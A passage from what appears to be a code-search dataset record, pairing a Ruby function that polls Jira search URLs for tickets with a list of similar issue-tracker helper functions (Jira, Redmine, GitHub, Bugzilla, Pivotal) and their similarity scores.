"def add_jira_tickets_to_omnifocus ()\n debug_msg('add_jira_tickets_to_omnifocus',3)\n #iterate through the projects array, add tickets to the proper project based on the results from the label query.\n #\n #This adds a relationship between your OmniFocus 'projects' and the labels you use in jira. be warned.\n\n PROJECTS.each do |project_label|\n debug_msg(\"add_jira_tickets_to_omnifocus: Label: #{project_label}\",2)\n # Get the open Jira issues assigned to you\n results = get_issues(project_label,'inclusive')\n if results.nil?\n debug_msg(\"add_jira_tickets_to_omnifocus: No results from Jira matching #{project_label}\",0)\n exit\n end\n\n # Get the OmniFocus app and main document via AppleScript\n # binding.pry;\n omnifocus_document = Appscript.app.by_name('/Applications/OmniFocus.app').default_document\n # Iterate through resulting issues.\n results.each do |jira_id, hash|\n debug_msg(\"add_jira_tickets_to_omnifocus: Jira_ID: #{jira_id} Hash: #{hash}\", 8)\n #binding.pry;\n jira_summary = hash['summary']\n jira_status = hash['status']\n # Create the task name by adding the ticket hash to the jira ticket key\n task_name = \"#{jira_id}: #{jira_summary}\"\n # Create the task notes with the Jira Ticket URL\n #status = foo\n task_notes = \"ID: #{jira_id}\\r\\nURL: #{JIRA_BASE_URL}/browse/#{jira_id} \\r\\nStatus: #{jira_status} \"\n\n # Build properties for the Task\n @props = {}\n @props['name'] = task_name\n @props['project'] = project_label\n @props['context'] = DEFAULT_CONTEXT\n @props['note'] = task_notes\n @props['flagged'] = FLAGGED\n add_task(omnifocus_document, @props, jira_id)\n end\n end#end iteration\n #get the list of tickets which are assigned to the user, but not caught by the existing label search\n projectstring = PROJECTS * \",\"\n exclusive_results = get_issues(projectstring,'exclusive')\n debug_msg(\"add_jira_tickets_to_omnifocus: Fetching tickets not tagged with the labels: #{projectstring}\",1)\n if exclusive_results.nil?\n debug_msg(\"add_jira_tickets_to_omnifocus: No results from Jira which aren't already covered by the previous searches\",0)\n exit\n end\n # TODO: I feel like an idiot duplicating this code. we should change it\n # Get the OmniFocus app and main document via AppleScript\n omnifocus_app = Appscript.app.by_name(\"OmniFocus\")\n omnifocus_document = omnifocus_app.default_document\n debug_msg(\"add_jira_tickets_to_omnifocus: omnifocus_document: #{omnifocus_document}\", 10)\n # Iterate through resulting issues.\n exclusive_results.each do |jira_id, hash|\n debug_msg(\"add_jira_tickets_to_omnifocus: exclusive iterator: jira_id: #{jira_id} hash: #{hash}\",11)\n #binding.pry;\n jira_summary = hash['summary']\n jira_status = hash['status']\n # Create the task name by adding the ticket hash to the jira ticket key\n task_name = \"#{jira_id}: #{jira_summary}\"\n # Create the task notes with the Jira Ticket URL\n #status = foo\n task_notes = \"ID: #{jira_id}\\r\\nURL: #{JIRA_BASE_URL}/browse/#{jira_id} \\r\\nStatus: #{jira_status} \"\n # Build properties for the Task\n @props = {}\n @props['context'] = DEFAULT_CONTEXT\n @props['flagged'] = FLAGGED\n @props['name'] = task_name\n @props['note'] = task_notes\n @props['project'] = DEFAULT_PROJECT\n add_task(omnifocus_document, @props, jira_id )\n end\nend",
"def jira_issue_status_stats_text(errata)\n always_shown = Settings.jira_always_shown_states || ['QA In Progress', 'Verified']\n params = {\n :issues => errata.jira_issues,\n :field_name => :status,\n :always_shown => always_shown,\n }\n issue_status_stats_text(params)\n end",
"def index\n @issue_exists_in_google_sheets = IssueExistsInGoogleSheet.all\n end",
"def start_continuous_changes(host, port, db, heartbeat = '1000')\n Net::HTTP.get_response(host, '/' << db << '/_changes?feed=continuous&heartbeat=' << heartbeat, port) do |response|\n response.read_body do |notification|\n if notification?(notification) #Due to heartbeat, it's a newline instead of notification. \n result = JSON.parse(notification)\n puts result\n if (notification_type(notification) == \"save/update\") #not good to get non-existing doc.\n puts \"Here we go, getting the doc:\"\n doc = get_doc(get_doc_id(result))\n puts doc\n if affects_me?(doc, db)\n puts \"YES, IT DID!\"\n jobs = get_job(doc)\n jobs.each do |job|\n system(job)\n end\n else\n puts \"nah, it was for #{doc[\"node\"]}\"\n end\n end\n end\n end\n end\nend",
"def inspector_successfully_received_report(report, _)\n report.issues[0..2].each { |issue| print_issue_full(issue) }\n\n if report.issues.count > 3\n UI.puts \"and #{report.total_results - 3} more at:\"\n UI.puts report.url\n end\n end",
"def issues\n workspace_id = zenhub_workspace_id\n repo_id = zenhub_repo_id\n url = \"https://api.zenhub.io/p2/workspaces/#{workspace_id}/repositories/#{repo_id}/board\" \n issues = Array.new\n uri = URI(url)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true) do |http|\n request = Net::HTTP::Get.new(uri)\n request['Content-Type'] = 'application/json'\n request['X-Authentication-Token'] = ENV['TOKEN']\n\n http.request(request)\n end\n\n board = JSON.parse(response.body)\n board[\"pipelines\"].each do |columns|\n if columns[\"name\"] == COLUMN\n columns[\"issues\"].each do |issue|\n issues.push(issue['issue_number'])\n end\n end\n end\n issues\nend",
"def actual_issues\n @actual_issues ||= issues.select { |i| i[:pull_request].nil? }\n end",
"def issue_status(issue)\n issue.status\n end",
"def issue\n id = params[:issue_id]\n if id\n @issue = Issue.find(id.to_i)\n unless @issue\n render :status => 404, :text => 'Issue not found'\n end\n else\n render :status => 400 , :text => 'Invalid issue_id'\n end\n @journals = @issue.journals.find(:all, :include => [:user, :details], :order => \"#{Journal.table_name}.created_on ASC\")\n @journals.each_with_index {|j,i| j.indice = i+1}\n @journals.reverse! if User.current.wants_comments_in_reverse_order?\n @changesets = @issue.changesets\n @changesets.reverse! if User.current.wants_comments_in_reverse_order?\n @allowed_statuses = @issue.new_statuses_allowed_to(User.current)\n @edit_allowed = User.current.allowed_to?(:edit_issues, @project)\n @priorities = IssuePriority.all\n @time_entry = TimeEntry.new\n @project = @issue.project\n @title = \"#{@project.name}: #{@issue.subject}\"\n\n jsonres = Hash.new\n jsonres[:issue] = @issue\n jsonres[:issue_status] = @issue.status.to_s\n jsonres[:authorName] = @issue.author.to_s\n jsonres[:authorEmail] = @issue.author.mail\n jsonres[:journals] = @journals\n jsonres[:project] = @project\n jsonres[:changesets] = @changesets\n render :json => jsonres.to_json\n end",
"def process_created_issue_comment(issue_comment_payload)\n pr_name = issue_comment_payload['repository']['full_name'].to_s\n pr_number = issue_comment_payload['issue']['number'].to_s\n\n pull_request = @client.pull_request(pr_name, pr_number)\n current_commit_hash = pull_request['head']['sha'].to_s\n\n plus_ones = @redis.hget(pr_name + \":\" + pr_number, current_commit_hash)\n\n # Ensure that a key actually exists\n if !plus_ones.nil?\n plus_ones_to_add = parse_comment_body(issue_comment_payload['comment']['body'])\n\n # If there is no net change\n if plus_ones_to_add === 0\n return 200\n end\n\n plus_ones = plus_ones.to_i + plus_ones_to_add\n\n # Ensure the count isn't negative\n if plus_ones < 0\n plus_ones = 0\n end\n\n @redis.hset(pr_name + \":\" + pr_number, current_commit_hash, plus_ones)\n\n if plus_ones >= NEEDED_PLUS_ONES\n # Set commit status to sucessful\n @client.create_status(\n pr_name,\n current_commit_hash,\n 'success',\n {\n 'description' => 'Commodus: Required plus ones (' + plus_ones.to_s + '/' + NEEDED_PLUS_ONES.to_s + ') has been reached!',\n 'context' => 'robinpowered/commodus'\n }\n )\n else\n @client.create_status(\n pr_name,\n current_commit_hash,\n 'pending',\n {\n 'description' => 'Commodus: Required plus ones (' + plus_ones.to_s + '/' + NEEDED_PLUS_ONES.to_s + ') has yet to be reached.',\n 'context' => 'robinpowered/commodus'\n }\n )\n end\n end\n\n return 200\n end",
"def issues?\n issue_recent_errors? || issue_error_during_last_operation? ||\n issue_update_timeout? || issue_receive_timeout? || issue_dependencies_missing?\n end",
"def query_issues(jql)\n response = RestClient.get(@search_url + URI.escape(jql))\n unless response.code == 200\n fail \"Response code: #{response.code}\"\n end\n JSON.parse(response.body)['issues']\n end",
"def call_authorization_issue_api(ticket, subject, authTime)\n return call_api(\"/api/auth/authorization/issue\", {\n \"ticket\" => ticket,\n \"subject\" => subject,\n \"authTime\" => authTime\n })\nend",
"def get_issue(num)\n @issues = Octokit.issues \"LingduoKong/final\",:state => \"open\"\n @issues.each do |issue|\n if issue.number == num\n @issue = issue\n return @issue\n end\n end\nend",
"def index\n @check_results = CheckResult.where(check_result_params)\n if stale?(etag: @check_results.to_a,\n last_modified: @check_results.maximum(:updated_at))\n render template: 'check_results/index', status: :ok\n else\n head :not_modified\n end\n end",
"def check_team_bugs\n missing_bugs = []\n unknown_links = []\n\n # ignore closed bugs\n all_bugs = Bicho::Bug.where(assigned_to: BUGZILLA_ACCOUNT).select do |bug|\n bug.resolution.empty?\n end\n\n all_bugs.each do |bug|\n if bug[\"url\"].nil? || bug[\"url\"].empty?\n missing_bugs << bug\n elsif !bug[\"url\"].start_with?(\"https://trello.com/\")\n unknown_links << bug\n end\n end\n\n { all: all_bugs, missing: missing_bugs, unknown: unknown_links }\nend",
"def perform(channel = SLACK_CHANNEL)\n @channel = channel\n\n a = unassigned_applications\n b = old_unreviewed_applications\n c = not_scheduled_applications\n succ = true\n\n unless a.empty?\n notify 'Currently ' + (a.count == 1 ? \"there's 1 unassigned application.\"\n : \"there are #{pluralize a.count, 'unassigned application'}.\")\n succ = false\n end\n\n unless b.empty?\n x = b.count == 1 ? 'application that has' : pluralize(b.count, 'application') + ' that have'\n notify \"Come on…go review the #{x} been around for like two days.\"\n succ = false\n end\n\n unless c.empty?\n if c.count == 1\n x = \"is still an accepted club that hasn't had an onboarding call\"\n else\n x = \"are #{pluralize c.count, 'accepted club'} that haven't had onboarding calls\"\n end\n notify \"There #{x} scheduled after a week!\"\n succ = false\n end\n\n if succ\n notify \"Congratulations <!subteam^S0DJXPY14|staff>! You've zeroed out \"\\\n 'the club application pipeline! Good job.'\n end\n end",
"def check_team_bugs\n missing_bugs = []\n unknown_links = []\n\n # ignore closed bugs\n all_bugs = Bicho::Bug.where(assigned_to: BUGZILLA_ACCOUNT).select do |bug|\n bug.resolution.empty?\n end\n\n all_bugs.each do |bug|\n if bug[\"url\"].nil? || bug[\"url\"].empty?\n missing_bugs << bug\n elsif !bug[\"url\"].include?(\"https://trello.com/\")\n unknown_links << bug\n end\n end\n\n { all: all_bugs, missing: missing_bugs, unknown: unknown_links }\nend",
"def issues\n @query = IssueQuery.new(:name => \"_\")\n @query.project = @project\n unless params[:deliverable_id] == 'none'\n @query.add_filter(\"deliverable_id\", '=', [params[:deliverable_id]])\n else\n @query.add_filter(\"deliverable_id\", '!*', ['']) # None\n @query.add_filter(\"status_id\", '*', ['']) # All statuses\n end\n\n session[:query] = {:project_id => @query.project_id, :filters => @query.filters}\n\n redirect_to :controller => 'issues', :action => 'index', :project_id => @project.identifier\n end",
"def create_ticket\n jiraPair = @defect.getJiraList\n mapping = jiraAPIMapping\n payload = {\n :fields =>\n {:project =>\n {:key => \"#{jiraPair['Project']}\"},\n :summary => jiraPair['Summary'] + \" (#{@defect.get_story})\",\n :description => Sanitize.clean(jiraPair['Description']),\n mapping['Release Milestone'] => {:value => jiraPair['Release Milestone']},\n :customfield_10143 => [{:value => jiraPair['Environment'],}],\n :issuetype => {:name => jiraPair['issuetype']},\n mapping['Functional Group'] => {:value => jiraPair['Functional Group']},\n mapping['Project Manager'] => {:value => jiraPair['Project Manager']},\n :versions => [{:name => \"#{jiraPair['Release']}\",}],\n },\n }\n\n response = self.class.post('/rest/api/latest/issue/',\n :body => payload.to_json,\n :headers => {'Content-Type' => 'application/json' },\n :verify => false)\n\n url = \"\"\n if response['key']\n url = $JIRA['base_uri'] + \"/browse/\" + response['key']\n @defect.setJiraLink(url)\n else\n errormsg = \"Error (#{@defect.get_story}): #{response}\"\n p errormsg\n @defect.setDefectError(errormsg)\n end\n\n return url\n end",
"def issues\n if @issues.nil?\n @issues = {}\n max_result = 3\n jql = \"/rest/api/2/search?jql=project=\\\"#{name}\\\" AND issuetype NOT IN (Epic, Sub-task)&expand=changelog&maxResults=#{max_result}\"\n #r = nil\n #without_cache{ r = self.class.get(\"#{jql}&startAt=0\") }\n r = self.class.get(\"#{jql}&startAt=0\")\n pages = (r['total'] / max_result)\n (0..pages).each do |current_page|\n begin\n # If you can get the latest version of the last page, do so, otherwise load the cached version\n query = \"#{jql}&startAt=#{(current_page * max_result)}\"\n if current_page == pages\n #without_cache{ r = self.class.get(query) }\n # else\n r = self.class.get(query)\n end\n r['issues'].each do |issue|\n # Cast raw response to Issue(), passing project reference into constructor\n issue['project'] = self\n @issues[issue['key']] = Issue.new(issue)\n end\n # rescue => exception\n # puts \"#{exception.message} (#{exception.class})\"\n # pp exception.backtrace\n end\n end\n end\n @issues\n end",
"def check_new_noti\n Settings.Repos.each do |repo|\n notis = @git_client.repository_events(repo.url)\n next if notis.empty?\n\n puts \"New Notification in #{repo.display_name}\"\n\n notis.each do |noti|\n event = launcher.git_client.get(noti.subject.latest_comment_url)\n next unless noti.subject.type == \"PullRequest\"\n message = @message_generator.noti2message repo, noti, event\n ChatWork::Message.create(room_id: repo.chatwork_box, body: message)\n end\n\n launcher.git_client.mark_repo_notifications_as_read(repo.url) if repo.auto_read\n end\n end",
"def receive_issue_impact_change(config, payload)\n parsed = parse_url config[:project_url]\n url_prefix = parsed[:url_prefix]\n project_id = parsed[:project_id]\n http.ssl[:verify] = true\n\n users_text = if payload[:impacted_devices_count] == 1\n 'This issue is affecting at least 1 user who has crashed '\n else\n \"This issue is affecting at least #{ payload[:impacted_devices_count] } users who have crashed \"\n end\n\n crashes_text = if payload[:crashes_count] == 1\n \"at least 1 time.\\n\\n\"\n else\n \"at least #{ payload[:crashes_count] } times.\\n\\n\"\n end\n\n issue_body = \"Crashlytics detected a new issue.\\n\" + \\\n \"*#{ payload[:title] }* in _#{ payload[:method] }_\\n\\n\" + \\\n users_text + \\\n crashes_text + \\\n \"More information: #{ payload[:url] }\"\n post_body = {\n 'name' => payload[:title] + ' [Crashlytics]',\n 'requested_by' => 'Crashlytics',\n 'story_type' => 'bug',\n 'description' => issue_body }\n\n resp = http_post \"https://#{url_prefix}/services/v3/projects/#{project_id}/stories\" do |req|\n req.headers['Content-Type'] = 'application/xml'\n req.headers['X-TrackerToken'] = config[:api_key]\n req.params[:token] = config[:api_key]\n req.body = post_to_xml(post_body)\n end\n if resp.status < 200 || resp.status > 299\n raise \"Pivotal Issue Create Failed: #{ resp[:status] }, #{ resp.body }\"\n end\n { :pivotal_story_id => ::Nokogiri::XML::Document.parse(resp.body).xpath('/story/id').children().first().content() }\n end",
"def add_jira_tickets_to_omnifocus ()\n # Get the open Jira issues assigned to you\n results = get_issues\n if results.nil?\n puts \"No results from Jira\"\n exit\n end\n\n # Get the OmniFocus app and main document via AppleScript\n omnifocus_app = Appscript.app.by_name(\"OmniFocus\")\n omnifocus_document = omnifocus_app.default_document\n\n # Iterate through resulting issues.\n results.each do |jira_id, summary|\n # Create the task name by adding the ticket summary to the jira ticket key\n task_name = \"#{jira_id}: #{summary}\"\n # Create the task notes with the Jira Ticket URL\n task_notes = \"#{JIRA_BASE_URL}/browse/#{jira_id}\"\n\n # Build properties for the Task\n @props = {}\n @props['name'] = task_name\n @props['project'] = DEFAULT_PROJECT\n @props['context'] = DEFAULT_CONTEXT\n @props['note'] = task_notes\n @props['flagged'] = FLAGGED\n add_task(omnifocus_document, @props)\n end\nend",
"def add_jira_tickets_to_omnifocus ()\n # Get the open Jira issues assigned to you\n results = get_issues\n if results.nil?\n puts \"No results from Jira\"\n exit\n end\n\n # Get the OmniFocus app and main document via AppleScript\n omnifocus_app = Appscript.app.by_name(\"OmniFocus\")\n omnifocus_document = omnifocus_app.default_document\n\n # Iterate through resulting issues.\n results.each do |jira_id, summary|\n # Create the task name by adding the ticket summary to the jira ticket key\n task_name = \"#{jira_id}: #{summary}\"\n # Create the task notes with the Jira Ticket URL\n task_notes = \"#{JIRA_BASE_URL}/browse/#{jira_id}\"\n\n # Build properties for the Task\n @props = {}\n @props['name'] = task_name\n @props['project'] = DEFAULT_PROJECT\n @props['context'] = DEFAULT_CONTEXT\n @props['note'] = task_notes\n @props['flagged'] = FLAGGED\n add_task(omnifocus_document, @props)\n end\nend",
"def check\n if ping?\n mark_message \"Solr ping reported success\"\n else\n mark_failure\n mark_message \"Solr ping reported failure\"\n end\n rescue => e\n mark_failure\n mark_message \"Error: '#{e}'\"\n end",
"def list_bug_status(results)\n bug_ids = []\n bug_ids_with_results = {}\n \n # Build a list of bug ids to query the ticket system\n results.each do |result|\n # first make sure not nil\n if result.bugs != nil\n # then split bugs as they are split by commas\n bugs = result.bugs.split(',')\n # it is possible that hte list was blank, so we check array isn't empty\n unless bugs == []\n bugs.each do |bug|\n # add all values to list\n bug_ids << bug\n \n # We make a separate dictionary of all bugs. the dictionary is a list of bug ids with the reslated results\n # Ex. { :bug_id_1 => [result_id_1, result_id3], :bug_id_2 => [result_id_1, result_id_2] }\n if bug_ids_with_results[bug] == nil\n bug_ids_with_results[bug] = [result.id]\n else\n bug_ids_with_results[bug] << result.id\n end\n end \n end\n end\n end \n # Remove duplicate values from IDs\n bug_ids = bug_ids.uniq\n\n # If a ticketing system is used, find status of all bugs\n if Setting.value('Ticket System') != 'none'\n # If ticket system is set, check that all bugs exist\n # need to send bug status an array of IDs so we split the comma separated list\n bug_results = Ticket.bug_status( bug_ids )\n else\n bug_results = {}\n bug_ids.each do |bug|\n bug_results[bug] = { :name => 'Not Found', :status => 'Not Found' }\n end\n end\n\n # Now that we have the list of bugs with the status and names\n # We add the array of associated result IDs to the bugs. We use the dictionary\n # created earlier in this function. \n bug_results.each_key do |key|\n # Error key won't exist\n bug_results[key][:result_ids] = bug_ids_with_results[key]\n end\n\n return bug_results\n end",
"def show\n @data = URI.parse(\"https://api.github.com/repos/dylanpavelko/\"+@git_hub_repo.repo+\"/issues\").read\n @structuredResponse = JSON.parse(@data)\n @repoID = @git_hub_repo.id\n @structuredResponse.each do |issue|\n #if issue doesn't already exist\n if GitHubIssue.where(:gitHubID => issue['id']).count == 0\n #create issue for repo and top level node\n @ghIssue = GitHubIssue.new(\n :gitHubID => issue['id'], \n :number => issue['number'],\n :title => issue['title'],\n :created => issue['created_at'],\n :updated => issue['updated_at'],\n :closed => issue['closed_at'],\n :body => issue['body'],\n :repo_id => @repoID,\n :node => @git_hub_repo.node)\n @ghIssue.save\n end\n end\n\n end",
"def sync_issue_list\n set_page_title 'Sync Bug List'\n if request.post?\n @issue_list= (params[:issue_list]||'').strip.split(/[\\s,]+/).uniq\n if @issue_list.any?\n if @issue_list.length > 100\n @issue_list = @issue_list[0...100]\n flash_message :alert, \"Limiting to 100 bugs/issues. First id #{@issue_list.first}, last id #{@issue_list.last}. \"\n end\n # This method will create bugs/jira issues if they don't exist\n @synced, @invalid_issues = self.class.batch_update_from_rpc(@issue_list)\n\n jira_count = @synced[:jira_issues].size\n bz_count = @synced[:bugs].size\n invalid_count = @invalid_issues.size\n\n notice = []\n error = []\n notice << \"#{jira_count} issues were synced with JIRA.\" if jira_count != 0\n notice << \"#{bz_count} bugs were synced with Bugzilla.\" if bz_count != 0\n error << \"#{invalid_count} invalid issues were found.\" if invalid_count != 0\n flash_message :notice, notice.join(\"\\n\") if !notice.empty?\n flash_message :error, error.join(\"\\n\") if !error.empty?\n else\n flash_message :error, \"No valid bugs/issues found.\"\n end\n # Will render the form instead of redirecting here and show a list\n # of the bugs that were synced.\n end\n end",
"def redmine_check_task(m, params, certificate)\n begin \t\n \t## Loading one issue by its id\n\t\t# Configuration of the connector\n\t\t::Issue.site = @redmine_rapid_url\n\t\t::Issue.user = certificate[:username]\n\t\t::Issue.password = certificate[:password]\n\t\t# Get one issue\n\t\tissue = Issue.find(params[:task])\n \t\n \tif issue.nil?\n \t\treturn false\n \telse \n \t\treturn issue\n \tend\n \t\n rescue Exception => e\n m.reply \"#{@redmine_l_error}: #{e.message}\"\n end\n end",
"def deliver(jql, delivered_status_name)\n @jira.finished_issues(jql).map(&:key).each do |issue|\n if @git.contains?(issue)\n @jira.deliver(issue, delivered_status_name) unless @dry_run\n puts \"delivered issue: #{issue}\"\n #TODO project.comment(story, server_name) if server_name\n end\n end\n end",
"def query_v3\n if params[:workflow]\n @collection = current_user.workflow_issues\n else\n raise \"not sure what to do here\"\n end\n\n @include_workflow_state = true\n @include_issue_team = true\n @include_issue_tracker = true\n\n render 'api/v2/issues/index'\n end",
"def reminder(user, issues, days)\n @issues = issues\n @days = days\n @open_issues_url = url_for(:controller => 'issues', :action => 'index',\n :set_filter => 1, :assigned_to_id => 'me',\n :sort => 'due_date:asc')\n @reminder_issues_url = url_for(:controller => 'issues', :action => 'index',\n :set_filter => 1, :sort => 'due_date:asc',\n :f => ['status_id', 'assigned_to_id', \"due_date\"],\n :op => {'status_id' => 'o', 'assigned_to_id' => '=', 'due_date' => '<t+'},\n :v =>{'assigned_to_id' => ['me'], 'due_date' => [days]})\n\n query = IssueQuery.new(:name => '_')\n query.add_filter('assigned_to_id', '=', ['me'])\n @open_issues_count = query.issue_count\n mail :to => user,\n :subject => l(:mail_subject_reminder, :count => issues.size, :days => days)\n end",
"def issue_found(script, rule, pair); end",
"def start\n @reports = Report.where(company_id: params[:company], status: 'Queued').order('created_at DESC')\n respond_to do |format|\n if @reports.any?\n @report = @reports.first\n if @report.update({ started_at: Time.now, monitored_by: current_user.id, status: 'Running' })\n format.html { render text: \"Running...\" }\n format.json { head :no_content }\n else\n format.html { render text: @report.errors.inspect }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n else\n format.html { render text: \"Report not found.\" }\n format.json { head :no_content }\n end\n end\n end",
"def lock_old_issues(issue)\n return if issue.locked # already locked, nothing to do here\n\n diff_in_months = (Time.now - issue.updated_at) / 60.0 / 60.0 / 24.0 / 30.0\n\n return if diff_in_months < ISSUE_LOCK\n\n puts \"Locking conversations for https://github.com/#{SLUG}/issues/#{issue.number} since it hasn't been updated in #{diff_in_months.round} months\"\n # Currently in beta https://developer.github.com/changes/2016-02-11-issue-locking-api/\n cmd = \"curl 'https://api.github.com/repos/#{SLUG}/issues/#{issue.number}/lock' \\\n -X PUT \\\n -H 'Authorization: token #{ENV['GITHUB_API_TOKEN']}' \\\n -H 'Content-Length: 0' \\\n -H 'Accept: application/vnd.github.the-key-preview'\"\n `#{cmd} > /dev/null`\n puts \"Done locking the conversation\"\n smart_sleep\n end",
"def index\n\t\t#should only grab pullRequests for current repository\n @pullRequests = PullRequest.where(to_repo_id: params[:repo_id]).where( status: \"SUBMITTED\")\n\n respond_with(@pullRequests)\n end",
"def inspector_received_empty_report(report, inspector)\n puts \"Found no similar issues. To create a new issue, please visit:\"\n puts \"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/issues/new\"\n print_open_link_hint(true)\n end",
"def perform(*args)\n puts \"\"\n puts \"* Sending in 5s...\"\n sleep(5)\n puts \"* Inside SendSlackMessageAllJob *\"\n\n puts \"> Finding Survey with id #{args[0][:survey_id]}\"\n survey = Survey.find(args[0][:survey_id])\n puts \"> Finding Question with id #{args[0][:question_id]}\"\n question = Question.find(args[0][:question_id])\n team = User.find(survey.user_id).team\n\n puts \"> Fetching member list from SLACK API (not async)\"\n member_list = HTTParty.get(\"https://slack.com/api/channels.info\",\n query: {\n token: team.bot_access_token,\n channel: survey.channel_id })\n\n # Now handled in Controller\n # member_list[\"channel\"][\"members\"].reject { |x| x == User.find(survey.user_id).uid }.each do |uid|\n # GetSlackUserInfoJob.perform_later(uid: uid, surv_id: args[0][:survey_id], team_id: xxx)\n # end\n\n\n\n sender_fn = \"#{User.find(survey.user_id).first_name.capitalize}\"\n sender_ln = \"#{User.find(survey.user_id).last_name.capitalize}\"\n others = member_list[\"channel\"][\"members\"].count - 1\n\n message_text = \"Hi! #{sender_fn} #{sender_ln} wants a Critiq. #{others.to_words.capitalize} other people have been messaged and everyone's responses will be anonymized. #{sender_fn} asks:\\n\"\n\n puts \"> Beginning to iterate over member list...\"\n member_list[\"channel\"][\"members\"].each do |member_uid|\n # Put this in the above line before '.each' to prevent critiq's from being sent to their creator\n # .reject { |x| x == User.find(survey.user_id).uid }\n\n send_message(member_uid, message_text, team)\n\n if question.question_type == 'radio'\n puts \"> Question is MC\"\n send_message_multiple_choice(member_uid, question, team)\n else\n puts \"> Question is NOT MC\"\n send_message(member_uid, question.name, team)\n end\n\n puts \">> Creating SentQuestion entry for Question: #{args[0][:question_id]}, User: #{member_uid}\"\n SentQuestion.create(question_id: args[0][:question_id], recipent_slack_uid: member_uid)\n\n end\n puts \"> Finished sending all messages <\"\n\n end",
"def lock_old_issues(issue)\n return if issue.locked # already locked, nothing to do here\n\n diff_in_months = (Time.now - issue.updated_at) / 60.0 / 60.0 / 24.0 / 30.0\n\n return if diff_in_months < ISSUE_LOCK\n\n logger.info(\"Locking conversations for https://github.com/#{SLUG}/issues/#{issue.number} since it hasn't been updated in #{diff_in_months.round} months\")\n # Currently in beta https://developer.github.com/changes/2016-02-11-issue-locking-api/\n cmd = \"curl 'https://api.github.com/repos/#{SLUG}/issues/#{issue.number}/lock' \\\n -X PUT \\\n -H 'Authorization: token #{ENV['GITHUB_API_TOKEN']}' \\\n -H 'Content-Length: 0' \\\n -H 'Accept: application/vnd.github.the-key-preview'\"\n `#{cmd} > /dev/null`\n logger.info(\"Done locking the conversation\")\n smart_sleep\n end",
"def cur_issue\n #debugger\n @issue = PubDate.latest\n redirect_to public_issue_url(:issue_id => d(@issue.date) )\n rescue\n flash.now[:notice] = \"No Latest Issue.\"\n render(:action => 'unknown', :layout => \"admin\", :status => '404')\n end"
] |
[
"0.63642186",
"0.63343",
"0.625044",
"0.61547637",
"0.6061006",
"0.60454756",
"0.5998648",
"0.5927596",
"0.59033316",
"0.5882272",
"0.5823309",
"0.5747291",
"0.5721177",
"0.570943",
"0.5679453",
"0.5659468",
"0.5638854",
"0.56316507",
"0.5629341",
"0.5620768",
"0.5604003",
"0.5602009",
"0.55992216",
"0.5598147",
"0.55942875",
"0.5569557",
"0.55463266",
"0.5546062",
"0.55440176",
"0.5529628",
"0.5520327",
"0.5501156",
"0.55005425",
"0.54966426",
"0.54696053",
"0.5468103",
"0.5451689",
"0.5441073",
"0.5440385",
"0.5418448",
"0.54140973",
"0.5413053",
"0.5412853",
"0.54045504",
"0.53987545",
"0.53987014",
"0.53805226",
"0.53740907",
"0.5359491",
"0.5347807",
"0.53463495",
"0.5342246",
"0.5330961",
"0.5328325",
"0.53200716",
"0.5314468",
"0.53073514",
"0.5306164",
"0.52987534",
"0.5296943",
"0.5292487",
"0.5285953",
"0.5278293",
"0.527667",
"0.52756065",
"0.52696",
"0.5268367",
"0.52668005",
"0.52601844",
"0.525772",
"0.52508277",
"0.5248193",
"0.52389973",
"0.52338713",
"0.5229339",
"0.5215878",
"0.52103287",
"0.5204846",
"0.51899886",
"0.5189532",
"0.51882464",
"0.5187291",
"0.5177824",
"0.5177824",
"0.5162781",
"0.5160527",
"0.515545",
"0.5153318",
"0.51430154",
"0.5135845",
"0.5134854",
"0.51344633",
"0.5132803",
"0.51286274",
"0.5128453",
"0.5112425",
"0.5109109",
"0.5087356",
"0.5083073",
"0.50753134"
] |
0.74881154
|
0
|
fetch jira url and return a list of ticket Hashes
|
def fetch_jira_poll_url()
jiraconfig = bot.config['jira_poll_url']
if jiraconfig.is_a?(Array)
searchurls_str = jiraconfig
else
searchurls_str = [jiraconfig]
end
tix = []
searchurls_str.each do |searchurl_str|
begin
@log.info "checking jira for new issues... #{searchurl_str}"
# jira_poll_url: "http://username:password@www.host.com/jira/sr/jira.issueviews:searchrequest-xml/temp/SearchRequest.xml?jqlQuery=project+%3D+OPS+ORDER+BY+updated+DESC%2C+priority+DESC%2C+created+ASC&tempMax=25&field=key&field=link&field=title&field=reporter&field=assignee&field=type&field=priority&field=updated"
searchurl = Addressable::URI.parse(searchurl_str)
@log.debug pp lookupurl.to_hash
xmldata = open(searchurl.omit(:user, :password), \
:http_basic_authentication=>[searchurl.user, searchurl.password]).read
doc = REXML::Document.new(xmldata)
raise Exception.new("response had no content") if doc.nil?
doc.elements.inject('rss/channel/item', tix) do |tix, element|
tix.push(parse_ticket_info(element))
end
rescue Exception => e
@log.error "error connecting to jira: #{e.message}"
# @log.error "#{e.backtrace}"
end
end
return tix
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_issues\n jira_issues = Hash.new\n # This is the REST URL that will be hit. Change the jql query if you want to adjust the query used here\n uri = URI(JIRA_BASE_URL + '/rest/api/2/search?jql=' + JQL)\n\n Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(uri)\n request.basic_auth USERNAME, PASSWORD\n response = http.request request\n # If the response was good, then grab the data\n if response.code =~ /20[0-9]{1}/\n data = JSON.parse(response.body)\n data[\"issues\"].each do |item|\n jira_id = item[\"key\"]\n jira_issues[jira_id] = item[\"fields\"][\"summary\"]\n end\n else\n raise StandardError, \"Unsuccessful HTTP response code: \" + response.code\n end\n end\n return jira_issues\nend",
"def gather_issues\n url = \"#{URL}/projects/foreman/issues.json?status_id=1&limit=100&release_id=#{@current_release_id}\"\n puts url\n uri = URI(URI.escape(url))\n response = Net::HTTP.get(uri)\n JSON.parse(response)\nend",
